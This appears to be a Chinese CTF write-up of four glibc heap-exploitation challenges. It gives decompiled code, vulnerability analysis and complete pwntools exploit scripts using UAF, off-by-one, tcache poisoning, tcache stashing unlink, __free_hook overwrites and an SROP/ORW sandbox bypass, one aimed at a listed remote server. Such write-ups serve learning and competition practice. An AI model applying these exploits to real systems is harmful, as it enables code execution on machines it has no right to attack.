1. sh_v1_1 1 2 3 4 5 6 7 8 9 10 11 12 # commnd ls cat cp #复制文件 ln #创建链接 touch #创建文件并写入,文件数max==79 gedit #修改文件并写入 rm #删除文件
分析 程序里面有很多脏东西,去除那些乱七八糟的东西,再看主要内容
main 1 2 3 4 5 6 7 8 9 10 11 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { init_0(); start_0(a1, a2); while ( 1 ) { printf (">>>>" ); read_0(); Commnd(); } }
start 在该函数中,将文件标识全部置0
1 2 3 4 5 6 for ( i = 0 ; i <= 79 ; ++i ) { *((_QWORD *)&unk_A0C0 + 6 * i) = 0LL ; qword_A0E8[6 * i] = 0LL ; *((_QWORD *)&unk_A0C0 + 6 * i + 1 ) = 'modeerf' ; }
read_0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 v9 = __readfsqword(0x28 u);strcpy (delim, " " ); *(_QWORD *)s = 0LL ; v6 = 0LL ; v7 = 0LL ; v8 = 0LL ; *(_QWORD *)s1 = qword_A0A0; *(_QWORD *)src = qword_A0A0; result = qword_A0A0; read_line(s, 32LL ); src = strtok(s, delim);strcpy (s1, src); srca = strtok(0LL , delim);if ( !srca ) return 0LL ;strcpy (::src, srca); srcb = strtok(0LL , delim);if ( !srcb ) return 0LL ;strcpy (qword_A090, srcb);
Commnd 感觉像个菜单堆题…
其他命令 cp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 for ( m = 0 ; m <= 79 ; ++m )strncpy ((char *)qword_A0E8[6 * m], (const char *)qword_A0E8[0 ], 0x208 uLL); for ( n = 0 ; ; ++n ) { if ( n > 79 ) goto LABEL_807; if ( !*((_QWORD *)&unk_A0C0 + 6 * n) ) break ; } *((_QWORD *)&unk_A0C0 + 6 * n) = 1LL ; qword_A0E8[6 * n] = malloc (0x208 uLL);strcpy ((char *)&unk_A0C0 + 48 * n + 8 , qword_A090);strncpy ((char *)qword_A0E8[6 * n], (const char *)qword_A0E8[0 ], 0x208 uLL);
ln
1 2 3 4 5 6 7 for ( kk = 0 ; ; ++kk ) { if ( kk > 79 ) strcpy ((char *)&unk_A0C0 + 48 * mm + 8 , qword_A090); *((_QWORD *)&unk_A0C0 + 6 * mm) = 1LL ; qword_A0E8[6 * mm] = qword_A0E8[6 * kk];
ls
1 2 3 4 5 6 7 for ( i = 0 ; i <= 79 ; ++i ) { if ( *((_QWORD *)&unk_A0C0 + 6 * i) == 1LL ) printf ("%s " , (const char *)&unk_A0C0 + 48 * i + 8 ); }putchar (10 );
菜单 touch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 for ( k = 0 ; k <= 79 ; ++k ) { if ( !*((_QWORD *)&unk_A0C0 + 6 * k) ) { *((_QWORD *)&unk_A0C0 + 6 * k) = 1LL ; qword_A0E8[6 * k] = malloc (0x208 uLL); read_line(qword_A0E8[6 * k], 0x208 uLL); strcpy ((char *)&unk_A0C0 + 48 * k + 8 , src); return 0LL ; } } LABEL_807: puts ("Maximum number of files. Please delete the file." ); return 0LL ; } LABEL_711: puts ("file_name is NULL" ); return 0LL ;
rm
没有UAF,清空了fd指针,将文件标识改为0,即不存在
但是动态调试发现,从下一个chunk看,被rm的堆块,仍然存在
1 2 3 free ((void *)qword_A0E8[6 * jj]); qword_A0E8[6 * jj] = 0LL ; *((_QWORD *)&unk_A0C0 + 6 * jj) = 0LL ;
gedit
1 read_line(qword_A0E8[6 * ii], 0x200 uLL);
cat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for ( j = 0 ; j <= 79 ; ++j ) { if ( !strcmp (src, (const char *)&unk_A0C0 + 48 * j + 8 ) ) { if ( *((_QWORD *)&unk_A0C0 + 6 * j) == 1LL ) { puts ((const char *)qword_A0E8[6 * j]); return 0LL ; } } LABEL_223: puts ("NO FILE" ); return 0LL ; }
思路 漏洞点:UAF
思路像增删查改菜单题,漏洞像是offbynull,试验后发现不是,是UAF
在泄露libc和heap的过程中,慢慢动调
最后发现通过ln命令,可以实现类似UAF的效果
远程打不通后,尝试了下onegadget,条件都不满足
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL ''' one_gadget = [libc_base+0xe3afe , libc_base+0xe3b01 , libc_base+0xe3b04 ]
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 from pwn import *from ctypes import *from LibcSearcher import * banary = "./sh_v1.1" elf = ELF(banary) ip = '121.40.89.206' port = 34883 local = 0 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive()def ls (): ru('>>>>' ) sl(b'ls' ) def cp (name1, name2 ): ru('>>>>' ) sl(b'cp ' + name1 +b' ' + name2)def ln (name1, name2 ): ru('>>>>' ) sl(b'ln ' + name1+ b' ' + name2)def add (name ,con=p64(0xdeadbeef ) ): ru('>>>>' ) sl(b'touch ' + name) sleep(0.1 ) sl(con)def free (name ): ru('>>>>' ) sl(b'rm ' + name)def show (name ): ru('>>>>' ) sl(b'cat ' + name) def edit (name, con=p64(0xdeadbeef ) ): ru('>>>>' ) sl(b'gedit ' + name) sleep(0.1 ) sl(con)for i in range (10 ): add(b'a' +c_byte(i), b'aaaa' )for i in range (7 ): free(b'a' +c_byte(i)) add(b'a10' , b'' ) show(b'a10' ) heap_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) - 0xCf0 lg('heap_base' ) free(b'a10' ) free(b'a' + c_byte(7 )) free(b'a' + c_byte(8 ))for i in range (11 , 18 ): add(b'a' +c_byte(i), b'' ) add(b'a18' , b'' ) show(b'a18' ) malloc_hook = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 1104 - 0x10 lg('malloc_hook' ) libc = LibcSearcher("__malloc_hook" , malloc_hook)for i in libc : print (i) ''' libc6-amd64_2.31-6_i386 libc6-amd64_2.31-0ubuntu9.2_i386 libc6_2.31-6_amd64 libc6_2.31-0ubuntu9.2_amd64 libc6_2.31-8_amd64 libc6_2.31-7_amd64 libc6-amd64_2.31-9_i386 libc6-amd64_2.31-7_i386 libc6_2.31-9_amd64 libc6-amd64_2.31-8_i386 ''' libc.select_libc(3 ) libc_base = malloc_hook - libc.dump('__malloc_hook' ) lg('libc_base' ) system = libc_base + libc.dump('system' ) free_hook = libc_base + libc.dump('__free_hook' ) ln(b'a' +c_byte(17 ), b'b' +c_byte(17 )) ln(b'a' +c_byte(16 ), b'b' +c_byte(16 )) ln(b'a' +c_byte(15 ), b'b' +c_byte(15 )) free(b'a' +c_byte(17 )) free(b'a' +c_byte(16 )) free(b'a' +c_byte(15 )) edit(b'a' +c_byte(11 ), b'/bin/sh\x00' ) edit(b'b' +c_byte(16 ), p64(free_hook)) add(b'fin1' , b'' ) add(b'fin2' , b'' ) add(b'fin3' , p64(system)) free(b'a' +c_byte(11 )) pi()
2. ttsc Scanf特性 scanf接受“-”字符,不会改变栈上数据情况
要泄露libc,必须控制版本为对应的Ubuntu GLIBC 2.27-3ubuntu1.6
Overlapping 存在一个off-by-one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 add(0 , 0x28 ) add(1 , 0x28 ) add(2 , 0x28 ) edit(0 , b'/bin/sh\0' + b'a' *0x20 + p8(0x61 )) free(1 ) add(1 , 0x58 ) free(2 ) edit(1 , b'a' *0x28 + p64(0x31 ) + p64(free_hook) ) add(2 , 0x28 , 'a' ) add(3 , 0x28 , p64(system)) free(0 )''' 最后也可以指向free_hook-0x8, 然后一步到位 edit(1, b'a'*0x28 + p64(0x31) + p64(free_hook-0x8) ) add(2, 0x28, 'a') add(3, 0x28, b'/bin/sh\x00' + p64(system)) free(3) '''
分析 main 在进菜单前,有个输入name之类的函数,先分析菜单,再回头关注这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void __noreturn main () { int v0; unsigned __int64 v1; v1 = __readfsqword(0x28 u); init_0(); FMT(); while ( 1 ) { menu(); __isoc99_scanf("%d" , &v0); getchar(); switch ( v0 ) { case 2 : delete(); break ; case 3 : Edit(); break ; case 1 : Add(); break ; } } }
Add:index,size,content,大小<=0x78, chunk_num== 0,1,2,3 (可以先free再申请)
delete:没有UAF,所以得找找其他漏洞,如数组越界,溢出 (调试中发现,free后,pre_size为依旧为1,有问题的)
Edit:使用三次后,close(1),存在offbyone
edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int Edit () { int result; unsigned int v1; puts ("index?" ); v1 = read_num(); if ( v1 >= 4 ) return puts ("?" ); printf ("content:" ); read_con(heap[v1], heap_size[v1]); if ( !edit_num ) close(1 ); result = edit_num; if ( edit_num ) return --edit_num; return result; }unsigned __int64 __fastcall read_con (__int64 a1, unsigned __int64 a2) { char buf; int i; unsigned __int64 v5; v5 = __readfsqword(0x28 u); for ( i = 0 ; a2 >= i; ++i ) { read(0 , &buf, 1uLL ); if ( buf == 10 ) break ; *(_BYTE *)(a1 + i) = buf; } return __readfsqword(0x28 u) ^ v5; }
FMT 泄露libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 __int64 FMT () { puts ("aaaaaaaaaaaaaaaaaa" ); puts ("bbbbbbbbbbbbbbbbbbb" ); puts ("cccccccccccccccccccc" ); BUG(); return 0LL ; } __int64 BUG () { int v1; int v2; __int64 v3; __int64 v4; __int64 v5; __int64 v6; __int64 v7; __int64 v8; __int64 v9; __int64 buf[4 ]; buf[3 ] = __readfsqword(0x28 u); v3 = 10LL ; v4 = 20LL ; v5 = 30LL ; v6 = 40LL ; v7 = 10LL ; v8 = 0LL ; v9 = 0LL ; buf[0 ] = 0LL ; buf[1 ] = 0LL ; puts ("what is your name?" ); read(0 , buf, 0x10 uLL); puts ("age?" ); __isoc99_scanf("%d" , &v1); if ( v1 <= 15 ) puts ("too young" ); LODWORD(v8) = v1; puts ("high?" ); __isoc99_scanf("%d" , &v2); if ( v2 > 256 ) puts ("Is too high" ); HIDWORD(v8) = v2; puts ("Welcome to my world." ); printf ("name: %sage: %d\nhigh: %d\n" , (const char *)buf, (unsigned int )v8, HIDWORD(v8)); return 0LL ; }
思路 漏洞点:off-by-one
利用FMT函数,利用scanf输入’-‘不改变泄露libc
add的chunk大小为(0, 0x78]
利用edit的offbyone进行攻击,可以overlapping
堆重叠是真好玩
如果不需要通过unsorted bin泄露libc,tcache泄露heap,通过堆重叠,三个堆块就可以实现tcache poinsion
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *from ctypes import * libc = ELF('./libc-2.27.so' ) banary = "./ttsc" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive()def menu (choice ): ru('chs:' ) sl(str (choice)) def add (index, size,con=p64(0xdeadbeef ) ): menu(1 ) ru('index?' ) sl(str (index)) ru('size:' ) sl(str (size)) sleep(0.1 ) s(con)def free (index ): menu(2 ) ru('index?' ) sl(str (index))def edit (index, con=p64(0xdeadbeef ) ): menu(3 ) ru('index?' ) sl(str (index)) ru('content:' ) sl(con)def start (name, age, high ): ru('name?' ) sl(name) ru('age?' ) sl(age) ru('high?' ) sl(high) start(b'Csc8' , '-' , '-' ) ru('age: ' ) libc_low = int (p.recvuntil('\n' , drop=True )) ru('high: ' ) libc_high = int (p.recvuntil('\n' , drop=True )) libc_base= libc_high*0x100000000 + libc_low- libc.sym["_IO_file_jumps" ] lg('libc_base' ) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] add(0 , 0x28 ) add(1 , 0x28 ) add(2 , 0x28 ) edit(0 ,b"a" *0x28 +p8(0x61 )) free(1 ) add(1 ,0x58 ,"aaaaa" ) free(2 ) edit(1 , p64(0 )*5 +p64(0x31 )+p64(free_hook-8 ) ) add(2 , 0x28 ) add(3 , 0x28 , b"/bin/sh\x00" +p64(system)) free(3 ) pi()
3. three_edit 层次 tcache bin (0x20 – 0x410)
fastbin (0x10 – 0x70)
unsorted bin (0x70+)
small bin(<0x400) | large bin(>=0x400)
free的堆块先进tcache bin ,当tcache bin链子填满七块后
先判断能否进fastbin,如果不行,放进unsorted bin
之后申请chunk
如果unsorted bin大小不能满足,就根据unsorted bin的大小,放入small bin或者large bin
Scanf特性 scanf存在分配大内存的特性
scanf可以合并掉fastbin中的chunk获取unsorted bin或者small bin
有点牛的操作:存在fastbin,通过scanf一个很大的内容进缓冲区,从而使两个连在一起的fastbin合并成small bin
学习: 仅offbynull攻击-https://www.mrskye.cn/archives/3cd31180/
提到了scanf分配大内存的问题
Tcache Bins结构体 tcache_perthread_struct
其上会记录tcache bins的地址,如果能够修改该结构体上记录的某个tcache bin,可以直接修改对应tcache bin的内容
如果借助结构体,修改tcache bin的fd指针,从而改变指向
分析 main
init_0中申请了两个堆块,一个记录堆块地址,一个记录堆块的大小
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 void __fastcall __noreturn main (const char *a1, char **a2, char **a3) { int v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); init_0(); while ( 1 ) { while ( 1 ) { menu(a1, a2); a2 = (char **)&v3; a1 = "%d" ; __isoc99_scanf("%d" , &v3); getchar(); if ( v3 != 3 ) break ; Edit(); } if ( v3 <= 3 ) { if ( v3 == 1 ) { Add(); } else if ( v3 == 2 ) { free_0(); } } } }
menu
init_0: 存放了两个堆块,一个记录heap地址,一个记录对应heap的大小
add: index,size,content。下标<=14,size[0x50,0x70]
free: index,没有UAF
edit: index,conten,限制次数为三次,且修改内容大小固定为0x50
需要注意的是,堆块的size和下标,都由初始init_0函数中申请的两个堆块 记录的值 决定
下标为负数时,可以修改tcache bin结构体
思路 在edit函数里,存在负向的越界写 ,基点是第一个初始chunk
其负向是tcachebin结构体 ,借助其实现覆写,泄露和攻击(使用三条tcache bin链子)
没有show函数,需要通过_IO_2_1_stdout_
进行泄露libc和heap_base
获得三条tcache bin链子(0x70,0x60,0x50)和两个fastbin
利用scanf特性,将fastbin合并为small bin,其上残留libc
反向写可以更改tcache结构体 ,从而修改对应tcache链的内容
利用tcache3链子,指向small bin上方,从而覆写small_bin_fd为_IO_2_1_stdout
利用tcache1链子,指向small_bin_fd,实现tcache bin -> small bin -> IO
malloc出来,修改IO,从而泄露libc
利用tcache2, 改free_hook-0x8为’/bin/sh’,free_hook为system
get shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *from ctypes import * libc = ELF('./libc-2.31.so' ) banary = "./pwn4" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive()def menu (choice ): ru('is:' ) sl(str (choice)) def add (index, size,con=p64(0xdeadbeef ) ): menu(1 ) ru('index:' ) sl(str (index)) ru('size:' ) sl(str (size)) ru('content:' ) sl(con)def free (index ): menu(2 ) ru('index?' ) sl(str (index))def edit (index, con=p64(0xdeadbeef ) ): menu(3 ) ru('index?' ) sl(str (index)) ru('content:' ) sl(con) for i in range (9 ): add(i, 0x70 , '' )for i in range (8 ,-1 ,-1 ): free(i) add(0 , 0x60 , '' ) add(1 , 0x60 , '' ) free(0 ) free(1 ) add(0 , 0x50 , '' ) add(1 , 0x50 , '' ) free(0 ) free(1 ) sla('is:' , '9' *0x400 ) tcache3 = -62 edit(tcache3, p16(0xb380 )) add(0 , 0x50 , '' ) add(1 , 0x50 , p64(0 )*3 + p64(0x81 ) + p16(0x26a0 )) tcache1 = tcache3 + 2 edit(tcache1, p16(0xb3a0 )) add(2 , 0x70 , '' ) add(3 , 0x70 , '' ) add(4 , 0x70 , p64(0xfbad1800 ) + p64(0 )*3 + p8(0 )) libc_base = uu64() - libc.sym['_IO_2_1_stdin_' ] lg('libc_base' ) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] tcache2 = tcache3 + 1 edit(tcache2, p64(free_hook-0x8 )) add(5 , 0x60 ,) add(6 , 0x60 , b'/bin/sh\0' + p64(system)) free(6 ) pi()
4. toto 笔者的libc版本是Ubuntu GLIBC 2.31-0ubuntu9.7,最后setcontext处与远端有差异
远端是Ubuntu GLIBC 2.31-0ubuntu9.2,第二种打法使用的是远端版本
house of lore作为tcache_stashing_unlink手法的前置思想
前置:House of Lore 学习 :https://www.anquanke.com/post/id/198173#h3-3
前提:能控制 Small Bin Chunk 的 bk 指针,并且控制指定位置 chunk 的 fd 指针。
目标:从而实现分配任意指定位置的 chunk,从而修改任意地址的内存。(任意地址写)
how2heap- poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <assert.h> void jackpot () { fprintf (stderr , "Nice jump d00d\n" ); exit (0 ); }int main (int argc, char * argv[]) { intptr_t * stack_buffer_1[4 ] = {0 }; intptr_t * stack_buffer_2[4 ] = {0 }; void * fake_freelist[7 ][4 ]; intptr_t *victim = malloc (0x100 ); void *dummies[7 ]; for (int i=0 ; i<7 ; i++) dummies[i] = malloc (0x100 ); intptr_t *victim_chunk = victim-2 ; for (int i=0 ; i<6 ; i++) { fake_freelist[i][3 ] = fake_freelist[i+1 ]; } fake_freelist[6 ][3 ] = NULL ; stack_buffer_1[0 ] = 0 ; stack_buffer_1[1 ] = 0 ; stack_buffer_1[2 ] = victim_chunk; stack_buffer_1[3 ] = (intptr_t *)stack_buffer_2; stack_buffer_2[2 ] = (intptr_t *)stack_buffer_1; stack_buffer_2[3 ] = (intptr_t *)fake_freelist[0 ]; void *p5 = malloc (1000 ); for (int i=0 ; i<7 ; i++) free (dummies[i]); free ((void *)victim); void *p2 = malloc (1200 ); victim[1 ] = (intptr_t )stack_buffer_1; for (int i=0 ; i<7 ; i++) malloc (0x100 ); void *p3 = malloc (0x100 ); char *p4 = malloc (0x100 ); intptr_t sc = (intptr_t )jackpot; long offset = (long )__builtin_frame_address(0 ) - (long )p4; memcpy ((p4+offset+8 ), &sc, 8 ); assert((long )__builtin_return_address(0 ) == (long )jackpot); }
如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的 fake chunk
并且同时满足之后的 bck->fd != victim 的检测,
那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。
当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chunk。
tcache_stashing_unlink_attack 前提:
能控制 Small Bin Chunk 的 bk 指针。
程序可以越过Tache取Chunk。(使用calloc即可做到)
程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。
目标:
向任意指定位置写入指定值。
向任意地址分配一个Chunk。
how2heap-demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #include <stdio.h> #include <stdlib.h> #include <assert.h> int main () { unsigned long stack_var[0x10 ] = {0 }; unsigned long *chunk_lis[0x10 ] = {0 }; unsigned long *target; setbuf(stdout , NULL ); stack_var[3 ] = (unsigned long )(&stack_var[2 ]); for (int i = 0 ;i < 9 ;i++){ chunk_lis[i] = (unsigned long *)malloc (0x90 ); } for (int i = 3 ;i < 9 ;i++){ free (chunk_lis[i]); } free (chunk_lis[1 ]); free (chunk_lis[0 ]); free (chunk_lis[2 ]); malloc (0xa0 ); malloc (0x90 ); malloc (0x90 ); chunk_lis[2 ][1 ] = (unsigned long )stack_var; calloc (1 ,0x90 ); target = malloc (0x90 ); printf ("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n" ,(void *)target); assert(target == &stack_var[2 ]); return 0 ; }
攻击方式1:任意写:
利用的是tcache bin中有剩余(数量小于TCACHE_MAX_BINS)时,同大小的small bin会放进tcache中,这种情况可以使用calloc分配同大小堆块触发(因为calloc分配堆块时不从tcache bin中选取)
在获取到一个smallbin中的一个chunk后,如果tcache仍有足够空闲位置,会将剩余的smallbin挂进tcache中,在这个过程中只对第一个bin进行了完整性检查,后面的堆块的检查缺失。
当攻击者可以修改一个small bin的bk时 ,就可以实现在任意地址上写一个libc地址。
攻击方式2:fake_chunk:
当Tcache存在两个以上的空位时,程序会将我们的fake chunk置入Tcache, 分配fake_chunk到任意地址
填充tcache bin,获得unsorted bin,泄露heap和libc
布置堆
向small bin中加入两个chunk
执行Tcache Stashing Unlink Attack
绕沙盒 winmt: 高版本绕沙盒的方式
通过setcontext + 61
,控制寄存器rdx
(1)可以找gadget
,使rdi
或其他寄存器与rdx
之间进行转换 (2)通过改__malloc_hook
为setcontext + 61
,劫持IO_FILE
(多是stdin
),将vtable
改成_IO_str_jumps
的地址,最后通过exit
,会走到_IO_str_overflow
函数,其中有malloc
函数触发__malloc_hook
,此时的rdx
就是_IO_write_ptr
中的值,所以直接使_IO_write_ptr = SROP_addr
即可。
通过改__malloc_hook
并劫持_IO_FILE
的方法: 为什么说一般劫持的都是stdin
的IO_FILE
呢?因为__malloc_hook
与stdin
距离是比较近的,可以在劫持IO_FILE
的同时,就把__malloc_hook
改掉。 可按如下方式构造payload
:
1 2 3 4 5 6 7 8 9 10 11 12 SROP_addr = libc_base + libc.sym['_IO_2_1_stdin_' ] + 0xe0 payload = p64(0 )*5 + p64(SROP_addr) payload = payload.ljust(0xd8 , b'\x00' ) + p64(libc_base + get_IO_str_jumps_offset()) frame = SigreturnFrame() frame.rdi = 0 frame.rsi = address frame.rdx = 0x200 frame.rsp = address + 8 frame.rip = libc_base + libc.sym['read' ] payload += bytes (frame) payload = payload.ljust(0x1f0 , b'\x00' ) + p64(libc_base + libc.sym['setcontext' ] + 61 )
fake_IO 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 malloc_hook=libc_base+libc.symbols["__malloc_hook" ] setcontext=libc_base+libc.sym['setcontext' ] stdin=libc_base+libc.sym["_IO_2_1_stdin_" ] malloc_hook_base=malloc_hook&0xfffffffffffff000 vtable = libc_base + 0x1E9560 fake_io = p64(0xfbad1800 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(stdin+0xe0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(0 ) fake_io += p64(vtable)
ORW-shellcode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 frame = SigreturnFrame() frame.rdi = malloc_hook_base frame.rsi = 0x1000 frame.rdx = 7 frame.rsp = malloc_hook + 0x8 frame.rip = libc_base + libc.symbols['mprotect' ] chunk_edit= str (frame) shell = """ xor rsi,rsi mov rax,SYS_open call start .string "./flag" start: pop rdi syscall mov rdi,rax mov rsi,rsp mov rdx,0x100 mov rax,SYS_read syscall mov rdi,1 mov rsi,rsp mov rdx,0x100 mov rax,SYS_write syscall mov rax,SYS_exit syscall """
payload 1 2 3 __malloc_hook_edit = p64(setcontext+61 ) + p64(malloc_hook+0x10 ) + asm(shell) payload = fake_io + chunk_edit.encode() + p64(0 )*3 + __malloc_hook_edit
分析 版本:Ubuntu GLIBC 2.31-0ubuntu9.2
沙箱
1 2 3 4 5 6 7 8 9 10 11 chen@chen:~/桌面/match/Pwnhub/tototo/toto$ seccomp-tools dump ./tototo line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int buf; unsigned __int64 v4; v4 = __readfsqword(0x28 u); buf = 0 ; init_0(); sandbox(a1, a2); while ( 1 ) { ban_free_hook(); menu(); read(0 , &buf, 4uLL ); switch ( atoi((const char *)&buf) ) { case 1 : Add(); break ; case 2 : Delete(); break ; case 3 : Edit(); break ; case 4 : Show(); break ; case 5 : Calloc(); break ; default : continue ; } } }
思路 函数给了calloc函数,官方WP打法tcache_stashing_unlink_attack,学习下
程序有UAF漏洞,可以从bk处编辑;
只泄露libc地址后,找到 mp_.tcache_bins
偏移,可以⽤ p mp_
来查看
算出偏移后,利⽤ tcache stash unlink attack
攻击技术攻击 mp.tcache_bins
,这样可以将大堆块
也放置到 tcache_bins 当中
之后free⼀个 large_bins ,这样再修改其对应的位置的地址,申请到 malloc_hook 附近
打IO流,Orw攻击泄露flag。
自己的思路:存在UAF,初步的想法是large bin attack打mp_,通过calloc申请两个large bin泄露libc和heap
再利用malloc实现large bin attack打mp_,再tcache poinsion打malloc 接 setcontext_61+ORW
(刚开始审代码不仔细,以为是calloc和malloc一共10次..)
思路跟官方wp应该差不多
还有个打法,打environ泄露栈地址,在栈上接rop进行ORW
